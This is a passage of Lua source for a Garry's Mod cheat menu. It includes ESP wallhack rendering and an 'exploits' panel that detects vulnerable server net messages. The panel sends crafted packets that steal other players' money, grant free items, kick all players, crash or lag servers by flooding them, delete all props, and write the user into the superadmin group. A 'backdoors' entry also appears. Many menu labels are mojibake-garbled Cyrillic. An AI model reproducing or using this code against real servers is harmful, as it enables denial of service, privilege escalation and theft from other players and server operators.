6432local btnantiscreen = BD:CreateBtn( "Ðнти Скринграб", 65, 345, 134, 25, pContent )
6433function btnantiscreen:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_screengrab:GetInt() == 1 then RunConsoleCommand( "fiji_fun_screengrab", 0 ) else RunConsoleCommand( "fiji_fun_screengrab", 1 ) end end
6434function btnantiscreen:Think() if fiji_fun_screengrab:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6435
6436end-- end fun function
6437
6438
6439concommand.Add("lyr3x", function()
6440
6441local BDMenu = vgui.Create( "DFrame" )
6442BDMenu:SetSize( 700, 400 )
6443BDMenu:Center()
6444BDMenu:SetTitle("")
6445BDMenu:SetDraggable( true )
6446BDMenu:ShowCloseButton( false )
6447BDMenu:MakePopup()
6448function BDMenu:Paint( w, h )
6449
6450
6451DrawBlur(self, 25)
6452draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
6453draw.RoundedBox( 0, 6.7, 5, w - 550, 53, Color( 110,110,110, 40 ) )
6454if fiji_style_menu:GetInt() == 2 then
6455draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6456draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6457draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6458draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6459elseif fiji_style_menu:GetInt() == 1 then
6460draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6461draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6462draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6463draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6464else
6465draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6466draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6467draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6468draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6469end
6470
6471if fiji_exist_contentpity:GetInt() == 1 then
6472
6473surface.SetMaterial( fiji_pityhome )
6474surface.SetDrawColor( 255, 255, 255, 255 )
6475surface.DrawTexturedRect( 57, 60, 50, 40 )
6476
6477surface.SetMaterial( fiji_pityesp )
6478surface.SetDrawColor( 255, 255, 255, 255 )
6479surface.DrawTexturedRect( 57, 110, 50, 40 )
6480
6481surface.SetMaterial( fiji_pityaimbot )
6482surface.SetDrawColor( 255, 255, 255, 255 )
6483surface.DrawTexturedRect( 57, 160, 50, 40 )
6484
6485surface.SetMaterial( fiji_pitymisc )
6486surface.SetDrawColor( 255, 255, 255, 255 )
6487surface.DrawTexturedRect( 57, 210, 50, 35 )
6488
6489surface.SetMaterial( fiji_pityexploits )
6490surface.SetDrawColor( 255, 255, 255, 255 )
6491surface.DrawTexturedRect( 57, 254, 50, 40 )
6492
6493
6494surface.SetMaterial( fiji_pitybackdoors )
6495surface.SetDrawColor( 255, 255, 255, 255 )
6496surface.DrawTexturedRect( 57, 303, 50, 40 )
6497
6498
6499surface.SetMaterial( fiji_pityconfig )
6500surface.SetDrawColor( 255, 255, 255, 255 )
6501surface.DrawTexturedRect( 57, 350, 50, 40 )
6502else end
6503
6504surface.SetMaterial( fiji_pitylogo )
6505surface.SetDrawColor( 255, 255, 255, 255 )
6506surface.DrawTexturedRect( 55, 5, 50, 50 )
6507end
6508
6509
6510
6511
6512
6513concommand.Add( "clear_pity", function() -- fiji_sv_existmen
6514BDMenu:Remove()
6515
6516end)
6517
6518
6519if IsValid( BDMenu ) && IsValid( BDMenu:GetParent() ) then
6520LocalPlayer():ConCommand("fiji_sv_existmen 1")
6521else
6522LocalPlayer():ConCommand("fiji_sv_existmen 0")
6523end
6524
6525
6526local tblSideBar = {
6527[1] = { Name = "Панель", Func = function( pContent )
6528pContent:Clear()
6529BD:Dashboard( pContent )
6530BD.BtnHovered = 1
6531end },
6532[2] = { Name = "ЕСП", Func = function( pContent )
6533pContent:Clear()
6534BD:Esp( pContent )
6535BD.BtnHovered = 2
6536end },
6537[3] = { Name = "Ðимбот", Func = function( pContent )
6538pContent:Clear()
6539BD:Aimbot( pContent )
6540BD.BtnHovered = 3
6541end },
6542[4] = { Name = "Рофл", Func = function( pContent )
6543pContent:Clear()
6544BD:Fun( pContent )
6545BD.BtnHovered = 4
6546end },
6547[5] = { Name = "ÐкÑплоиты", Func = function( pContent )
6548pContent:Clear()
6549BD:Exploits( pContent )
6550BD.BtnHovered = 5
6551end },
6552[6] = { Name = "БÑкдуры", Func = function( pContent )
6553LocalPlayer():ConCommand("fiji_bckdrs")
6554BDMenu:Remove()
6555BD.BtnHovered = 1
6556end },
6557[7] = { Name = "Опции", Func = function( pContent )
6558pContent:Clear()
6559BD:Options( pContent )
6560BD.BtnHovered = 7
6561end },
6562}
6563local pList = vgui.Create( "DScrollPanel", BDMenu )
6564pList:SetSize( 150, BDMenu:GetTall() - 40 )
6565pList:SetPos( 5, 58 )
6566
6567local pContent = vgui.Create( "DPanel", BDMenu )
6568pContent:SetSize( 539, 388 )
6569pContent:SetPos( 155, 6 )
6570pContent.Paint = function( self, w, h)
6571draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6572end
6573
6574for k,v in SortedPairs( tblSideBar or {} ) do
6575local btn = vgui.Create( "DButton", pList )
6576btn:Dock( TOP )
6577btn:SetSize( pList:GetWide(), 48)
6578btn:SetText( "" )
6579function btn:Paint( w, h )
6580local col = Color( 255, 255, 255, 150 )
6581if not self:IsHovered() || BD.BtnHovered == k then
6582
6583draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,0 ) )
6584else
6585draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,10 ) )
6586end
6587if BD.BtnHovered == k then
6588draw.RoundedBox( 0, 0, 0, w, h, Color( 27, 27, 27, 0 ) )
6589if fiji_style_menu:GetInt() == 2 then
6590draw.RoundedBox( 0, 0, 0, w, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6591elseif fiji_style_menu:GetInt() == 1 then
6592draw.RoundedBox( 0, 0, 0, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6593else
6594draw.RoundedBox( 0, 0, 0, w, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6595end
6596
6597if k != #tblSideBar && k + 1 != BD.BtnHovered then
6598if fiji_style_menu:GetInt() == 2 then
6599draw.RoundedBox( 0, 0, h - 2, w, 5, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6600elseif fiji_style_menu:GetInt() == 1 then
6601draw.RoundedBox( 0, 0, h - 2, w, 5, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6602else
6603draw.RoundedBox( 0, 0, h - 2, w, 5, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6604end
6605end
6606else
6607draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,8 ) )
6608end
6609if fiji_exist_contentpity:GetInt() == 0 then
6610draw.SimpleText( v['Name'], "pity_home3", w / 2, h / 2, col, 1, 1 )
6611else end
6612end
6613btn.OnCursorEntered = function(self)
6614if fiji_exist_contentpity:GetInt() == 1 then --
6615surface.PlaySound( "mat/pityhover.wav" )
6616else end
6617end
6618function btn:DoClick()
6619if fiji_exist_contentpity:GetInt() == 1 then
6620surface.PlaySound( "mat/pityclick.wav" )
6621else
6622end
6623v['Func']( pContent )
6624end
6625end
6626tblSideBar[ BD.BtnHovered ]['Func']( pContent )
6627
6628
6629
6630end)
6631
6632
6633-- Esp Props
6634hook.Add( "HUDPaint", "PropESP", function()
6635for k,v in pairs (ents.FindByClass("prop_physics")) do
6636if fiji_vision_enable_props:GetInt() == 0 then return end
6637if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_props:GetInt() then continue end
6638if v:GetPos():Distance( LocalPlayer():GetPos() ) < 90 then continue end
6639
6640cam.Start3D(EyePos(), EyeAngles())
6641if v:IsValid() then
6642cam.IgnoreZ( true )
6643render.SuppressEngineLighting( true )
6644render.SetColorModulation( fiji_principal_color_props:GetInt(), fiji_secondary_color_props:GetInt(), fiji_third_color_props:GetInt(), 255)
6645render.SetBlend(0.3)
6646v:DrawModel()
6647cam.IgnoreZ( false )
6648render.SuppressEngineLighting( false )
6649cam.End3D()
6650end
6651end
6652
6653end)
6654
6655-- Esp Players
6656-- Renders
6657function BD:Bones( tbl )
6658for k,v in pairs( tbl ) do
6659if v == LocalPlayer() then continue end
6660if not v:Alive() then continue end
6661for i = 0, v:GetBoneCount() - 1 do
6662local pos = v:GetBonePosition( i )
6663if ( pos == v:GetPos() && v:GetBoneMatrix( i ) ) then
6664pos = v:GetBoneMatrix( i ):GetTranslation()
6665end
6666if ( v:GetBoneName( i ) == "__INVALIDBONE__" ) then continue end
6667if ( v:GetBoneMatrix( i ) ) then
6668cam.Start3D( EyePos(), EyeAngles() )
6669for id, bone in pairs( v:GetChildBones( i ) ) do
6670
6671local pos2 = v:GetBonePosition( bone )
6672if ( pos2 == v:GetPos() && v:GetBoneMatrix( bone ) ) then
6673pos2 = v:GetBoneMatrix( bone ):GetTranslation()
6674end
6675render.DrawLine( pos, pos2, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), false )
6676end
6677cam.End3D()
6678end
6679end
6680end
6681end
6682hook.Add( "PostDrawOpaqueRenderables", "BD:Hitman:Infos", function()
6683if fiji_vision_enable:GetInt() == 0 then return end
6684local tblPlayers = {}
6685for k,v in pairs( player.GetAll() ) do
6686if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6687table.insert( tblPlayers, v )
6688end
6689BD:Name( tblPlayers )
6690end)
6691BD.WeaponBlacklist = {
6692['keys'] = true,
6693['weapon_physgun'] = true,
6694['weapon_keypadchecker'] = true,
6695['arrest_stick'] = true,
6696['unarrest_stick'] = true,
6697['stunstick'] = true,
6698['weaponchecker'] = true,
6699['itemstore_pickup'] = true,
6700['weapon_physcannon'] = true,
6701['gmod_camera'] = true,
6702['gmod_tool'] = true,
6703['pocket'] = true,
6704}
6705function BD:Name( tbl )
6706ply = LocalPlayer()
6707for k,v in pairs( tbl ) do
6708if !IsValid( v ) then continue end
6709if v == ply then continue end
6710if not v:Alive() then continue end
6711if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6712local pos = v:GetPos()
6713pos.z = pos.z + 90
6714local trace = LocalPlayer():GetEyeTrace()
6715local angle = trace.HitNormal:Angle()
6716cam.Start3D2D( pos, Angle( 0, LocalPlayer():EyeAngles().y - 90, 90 - LocalPlayer():EyeAngles().x ), 0.2 )
6717if fiji_vision_infos_name:GetInt() == 1 then
6718draw.SimpleText( "Nom : " .. v:Nick(), "pity_home3", 0, 0, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6719end
6720if fiji_vision_infos_weapons:GetInt() == 1 then
6721local wep = v:GetWeapons()
6722local strText = ""
6723for k,v in pairs( wep ) do
6724if !IsValid( v ) then continue end
6725if BD.WeaponBlacklist[ v:GetClass() ] then continue end
6726strText = strText .. v:GetClass() .. ", "
6727end
6728strText = string.sub( strText, 1, string.len( strText ) - 2 )
6729draw.SimpleText( "Armes : " .. strText, "pity_home3", 0, 15, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6730end
6731if fiji_vision_infos_health:GetInt() == 1 then
6732draw.SimpleText( "Vie : " .. v:Health(), "pity_home3", 0, 35, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6733end
6734cam.End3D2D()
6735end
6736end
6737hook.Add( "HUDPaint", "BD:Hitman:HUDPaint", function()
6738if fiji_vision_enable:GetInt() == 0 then return end
6739local tblPlayers = {}
6740for k,v in pairs( player.GetAll() ) do
6741if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6742table.insert( tblPlayers, v )
6743end
6744if fiji_vision_type:GetInt() == 1 then
6745BD:Bones( tblPlayers )
6746end
6747end)
6748-- Solid
6749local matSolid = CreateMaterial( "BD_Hitman_Solid", "UnlitGeneric", { ["$model"] = 1, ["$ignorez"] = 1 } )
6750hook.Add( "PrePlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6751if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6752
6753render.MaterialOverride( matSolid )
6754render.SetColorModulation(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt())
6755end
6756end )
6757hook.Add( "PostPlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6758if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6759render.MaterialOverride()
6760end
6761end)
6762-- Halos
6763hook.Add( "PreDrawHalos", "BD:Hitman:Glow", function()
6764if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 3 then
6765
6766local tblPlayers = {}
6767for k,v in pairs( player.GetAll() ) do
6768if not v == LocalPlayer() then return end
6769if not v:Alive() then continue end
6770if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6771table.insert( tblPlayers, v )
6772end
6773halo.Add( tblPlayers, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), 2, 2, 5, true, true )
6774end
6775end)
6776
6777--[[HTMLGUI = vgui.Create( "HTML", BDMenu )
6778HTMLGUI:SetSize( 75,55 )
6779HTMLGUI:SetPos( 45,2 )
6780HTMLGUI:OpenURL( "http://image.noelshack.com/fichiers/2018/39/6/1538220360-pitylua-menu.png")
6781]]--
6782
6783
6784
6785---------------------------------------------------------------------------------------------------------
6786---------------------------------------------------------------------------------------------------------
6787
6788
6789
6790function BD:Exploits( pContent )
6791
6792
6793local BDMenuExploits = vgui.Create("DPanel", pContent)
6794BDMenuExploits:SetSize( 539, 388 )
6795BDMenuExploits:SetPos( 0, 0 )
6796BDMenuExploits.Paint = function( self, w, h)
6797if fiji_style_menu:GetInt() == 2 then
6798draw.RoundedBox( 0, 0, 0, 2, h - 142, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6799draw.RoundedBox( 0, 0, 290, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6800
6801elseif fiji_style_menu:GetInt() == 1 then
6802draw.RoundedBox( 0, 0, 0, 2, h - 142, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6803draw.RoundedBox( 0, 0, 290, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6804
6805
6806else
6807draw.RoundedBox( 0, 0, 0, 2, h - 142, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6808draw.RoundedBox( 0, 0, 290, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6809end
6810
6811
6812end
6813
6814
6815if not snte then
6816function draw.OutlinedBox( x, y, w, h, thickness, clr )
6817surface.SetDrawColor( clr )
6818for i=0, thickness - 1 do
6819surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
6820end
6821end
6822
6823
6824local exploitsScrollPanel = vgui.Create( "DScrollPanel", pContent )
6825exploitsScrollPanel:SetPos(10,0)
6826exploitsScrollPanel:SetSize(520,388)
6827exploitsScrollPanel:InnerWidth(0)
6828local sbar = exploitsScrollPanel:GetVBar()
6829function exploitsScrollPanel:Paint( w, h )
6830draw.SimpleText("Ðа Ñервере обнаружены ÑкÑплойты :", "pity_home3", 160, 10, Color(255, 255, 255,200), 0, 1)
6831
6832draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
6833end
6834function sbar:Paint( w, h )
6835draw.RoundedBox( 0, 4, 0, w, h, Color( 110,110,110, 20 ) )
6836end
6837function sbar.btnUp:Paint( w, h )
6838draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6839end
6840function sbar.btnDown:Paint( w, h )
6841draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6842end
6843function sbar.btnGrip:Paint( w, h )
6844draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6845end
6846--NOTIFICATION("Exploit lançé")
6847totalSploits = 0
6848function addExploit(id, text, desc, func)
6849totalSploits = 1 + totalSploits
6850local id = vgui.Create( "DButton", exploitsScrollPanel )
6851id:SetText( text )
6852id:SetFont("Arial")
6853id:Dock( TOP )
6854id:DockMargin( 0, 39, 0, -37 )
6855id:DockPadding( 0, 30, 0, 0 )
6856id.DoClick = func
6857
6858
6859
6860
6861
6862if desc then
6863end
6864id.Paint = function( self, w, h )
6865
6866id.OnCursorEntered = function(self)
6867end
6868if id:IsHovered() then
6869
6870
6871
6872
6873if fiji_style_menu:GetInt() == 2 then
6874id:SetTextColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6875surface.SetDrawColor(Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6876surface.DrawOutlinedRect( 0, 0, w, h )
6877draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6878elseif fiji_style_menu:GetInt() == 1 then
6879id:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6880surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6881surface.DrawOutlinedRect( 0, 0, w, h )
6882draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6883elseif fiji_style_menu:GetInt() == 3 then
6884id:SetTextColor( Color( 255, 255, 255, 255 ) )
6885surface.SetDrawColor(110,110,110, 30)
6886surface.DrawOutlinedRect( 0, 0, w, h )
6887draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6888else
6889id:SetTextColor( Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6890surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
6891surface.DrawOutlinedRect( 0, 0, w, h )
6892draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6893end
6894
6895
6896
6897else
6898id:SetTextColor( Color( 255, 255, 255, 40 ) )
6899surface.SetDrawColor(110,110,110, 0)
6900surface.DrawOutlinedRect( 0, 0, w, h )
6901draw.RoundedBox( 0, 0, 0, w, h, Color(110,110,110, 10))
6902end
6903
6904end
6905end
6906
6907//////////////////// [EXPLOITS] ////////////////////
6908status = ValidNetString("TCBBuyAmmo")
6909if (status) then
6910CHATPRINT("Ðайден ÐкÑплоит: беÑплатные патроны [TCBBuyAmmo]")
6911addExploit( "1","БеÑплатные боеприпаÑÑ‹", "", function()
6912surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Getting Le Ammo")
6913--("Exploit lançé")
6914for k,v in pairs(GAMEMODE.AmmoTypes) do
6915net.Start("TCBBuyAmmo")
6916net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
6917net.SendToServer()
6918end
6919end)
6920end
6921
6922status = ValidNetString("DataSend")
6923if (status) then
6924CHATPRINT("Ðайден ÐкÑплоит: УкраÑть у вÑех деньги #1 [DataSend]")
6925addExploit( "2","Voler L'argents De Tous #1", "", function()
6926surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6927for k, v in pairs( ents.GetAll() ) do
6928if v:GetClass() == "adv_moneyprinter" then
6929CHATPRINT("Собираем денÑшке")
6930net.Start("DataSend")
6931net.WriteFloat(2)
6932net.WriteEntity(v)
6933net.WriteEntity(LocalPlayer())
6934net.SendToServer()
6935end
6936end
6937end)
6938end
6939
6940
6941status = ValidNetString("FarmingmodSellItems")
6942if (status) then
6943CHATPRINT("Ðайден ÐкÑплоит: БеÑконечные деньги [FarmingmodSellItems]")
6944addExploit( "3","Argent Gratuite", "", function()
6945--("Exploit lançé")
6946surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") CHATPRINT("Enjoy the b1g monies")
6947net.Start("FarmingmodSellItems")
6948net.WriteTable(
6949{
6950Cost = 10,
6951CropModel = "models/props/eryk/garlic.mdl",
6952CropType = 2,
6953Info = "Garlic Seed",
6954Model = "models/props/eryk/seedbag.mdl",
6955Name = "Garlic",
6956Quality = 4,
6957Sell = 99999,
6958Type = "Seed"
6959}
6960)
6961net.WriteInt(1,16)
6962net.SendToServer()
6963end)
6964end
6965
6966status = ValidNetString("start_wd_emp")
6967if (status) then
6968CHATPRINT("Ðайден ÐкÑплоит: Взлом кейпадов [start_wd_emp]")
6969addExploit( "4","Hack Keypad", "", function()
6970surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("ÐкÑплойт запущен")
6971net.Start("start_wd_emp")
6972net.SendToServer()
6973end)
6974end
6975
6976status = ValidNetString("duelrequestguiYes")
6977if (status) then
6978CHATPRINT("Ðайден ÐкÑплоит: Получить деньги [duelrequestguiYes]")
6979addExploit( "5","Recevoir De L'Argent", "", function()
6980surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("ÐкÑплойт запущен")
6981net.Start("duelrequestguiYes")
6982net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
6983net.WriteEntity(table.Random( player.GetAll() ) )
6984net.WriteString("Crossbow")
6985net.SendToServer()
6986end)
6987end
6988
6989status = ValidNetString("DarkRP_Kun_ForceSpawn")
6990if (status) then
6991CHATPRINT("Ðайден ÐкÑплоит: РеÑпавн #1 [DarkRP_Kun_ForceSpawn]")
6992addExploit( "6", "ReSpawn #1", "", function()
6993surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") CHATPRINT("РеÑпавн")
6994net.Start("DarkRP_Kun_ForceSpawn")
6995net.SendToServer()
6996end)
6997end
6998
6999status = ValidNetString("SyncPrinterButtons76561198056171650")
7000if (status) then
7001CHATPRINT("Ðайден ÐкÑплоит: ОчиÑтить деньги у ÑÐµÐ±Ñ #2 [SyncPrinterButtons76561198056171650]")
7002addExploit( "7","Voler L'argents De Tous #2", "", function()
7003surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") CHATPRINT("Collecting Money")
7004for k, v in pairs(ents.GetAll()) do
7005if (v:GetClass() == "adv_moneyprinter") then
7006net.Start("SyncPrinterButtons76561198056171650")
7007net.WriteEntity(v)
7008net.WriteUInt(2, 4)
7009net.SendToServer()
7010end
7011end
7012end)
7013end
7014---------------------------------------------------------------------------------------------
7015local function report()
7016for i = 1, 2000 do
7017net.Start("DL_Answering")
7018net.SendToServer()
7019end
7020end
7021
7022if (Damagelog) then
7023CHATPRINT("Ðайден ÐкÑплоит: Кикнуть вÑех")
7024reportSpam = 0
7025addExploit( "1337","Kick Tous Le Monde", "", function()
7026surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if (reportSpam == 0) then
7027--("Starting Kicker")
7028reportSpam = 1
7029timer.Create("reportSpammer", 0.05, 0, report)
7030else
7031--("Stopping Kicker")
7032reportSpam = 0
7033timer.Remove("reportSpammer")
7034end
7035
7036end)
7037end
7038----------------------------------------------------------------------------------------------
7039
7040status = ValidNetString("SimplicityAC_aysent")
7041if (status) then
7042CHATPRINT("Ðайден ÐкÑплоит: Краш #1 [SimplicityAC_aysent]")
7043addExploit( "8","Crash #1", "", function()
7044surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") CHATPRINT("Бб Ñервер..")
7045local tbl = {}
7046for i=1,400 do
7047tbl[i] = i
7048end
7049net.Start("SimplicityAC_aysent")
7050net.WriteUInt(1, 8)
7051net.WriteUInt(4294967295, 32)
7052net.WriteTable(tbl)
7053net.SendToServer()
7054end)
7055end
7056
7057status = ValidNetString("RevivePlayer")
7058if (status) then
7059CHATPRINT("Ðайден ÐкÑплоит: Ð ÐµÐ°Ð½Ð¸Ð¼Ð°Ñ†Ð¸Ñ #1 [RevivePlayer]")
7060addExploit( "9", "Reanimation #1", "", function()
7061surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "reanimation1" ) then
7062--( "Enabled" )
7063timer.Create( "reanimation1", 0.5, 0, function()
7064if !LocalPlayer():Alive() then
7065net.Start("RevivePlayer")
7066net.WriteEntity(LocalPlayer())
7067net.SendToServer()
7068end
7069end)
7070else
7071timer.Remove( "reanimation1" )
7072--( "Disabled" )
7073end
7074end )
7075end
7076
7077status = ValidNetString("NLRKick")
7078if (status) then
7079CHATPRINT("Ðайден ÐкÑплоит: Ðлр кик [NLRKick]")
7080addExploit( "10","Kick Tous Le Monde", "", function()
7081surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Kicking All")
7082for k,v in pairs(player.GetAll()) do
7083if v != LocalPlayer() then
7084net.Start("NLRKick")
7085net.WriteEntity(v)
7086net.SendToServer()
7087end
7088end
7089end)
7090end
7091
7092status = ValidNetString("timebombDefuse")
7093if (status) then
7094CHATPRINT("Ðайден ÐкÑплоит: Удалить вÑе пропы [timebombDefuse]")
7095addExploit( "11","Supprimer Tous Les Props", "", function()
7096surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Props De_Stroyed")
7097for k,v in pairs(ents.GetAll()) do
7098net.Start("timebombDefuse")
7099net.WriteEntity(v)
7100net.WriteBool(true)
7101net.SendToServer()
7102end
7103end)
7104end
7105
7106status = ValidNetString("NDES_SelectedEmblem")
7107if (status) then
7108CHATPRINT("Ðайден ÐкÑплоит: Лаггер #2 [NDES_SelectedEmblem]")
7109addExploit( "12","Crée Des Lags #2", "", function()
7110surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger2" ) then
7111timer.Create("lagger2", 0.5, 0, function()
7112for i=1, 2000 do
7113net.Start("NDES_SelectedEmblem",true)
7114net.WriteString("seized")
7115net.SendToServer()
7116end
7117end)
7118--("Lags Démarré")
7119else
7120timer.Remove("lagger2")
7121--("Lags Arreté")
7122end
7123end)
7124end
7125
7126status = ValidNetString("Morpheus.StaffTracker")
7127if (status) then
7128CHATPRINT("Ðайден ÐкÑплоит: Крашер #1 [Morpheus.StaffTracker]")
7129addExploit( "13","Crasher #1", "", function()
7130surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "crasher1" ) then
7131timer.Create("crasher1", 0.5, 0, function()
7132for i=1, 2000 do
7133net.Start("Morpheus.StaffTracker")
7134net.SendToServer()
7135end
7136end)
7137--("Crashing Server")
7138else
7139timer.Remove("crasher1")
7140--( "Canceling Crasher" )
7141end
7142end)
7143end
7144
7145status = ValidNetString("egg")
7146if (status) then
7147CHATPRINT("Ðайден ÐкÑплоит: Получить вÑе паÑхальные Ñйца")
7148addExploit( "14","Recevoir Les Easter Eggs", "", function()
7149surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") RunConsoleCommand("say", "4bigz")
7150RunConsoleCommand("cc_egg2")
7151net.Start("egg")
7152net.SendToServer()
7153--("Gave Easter Egg")
7154end)
7155end
7156
7157status = ValidNetString("pplay_deleterow")
7158if (status) then
7159CHATPRINT("Ðайден ÐкÑплоит: Стать СуперÐдмином [pplay_deleterow]")
7160addExploit( "15","Devenir SuperAdmin", "", function()
7161surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") local id = LocalPlayer():SteamID()
7162local tbl = {}
7163tbl.name = "FAdmin_PlayerGroup"
7164tbl.where = {
7165"steamid",
7166tostring(id)
7167}
7168
7169net.Start("pplay_deleterow")
7170net.WriteTable(tbl)
7171net.SendToServer()
7172local tbl = {}
7173tbl.tblname = "FAdmin_PlayerGroup"
7174tbl.tblinfo = {
7175tostring(id),
7176"superadmin"
7177}
7178net.Start("pplay_addrow")
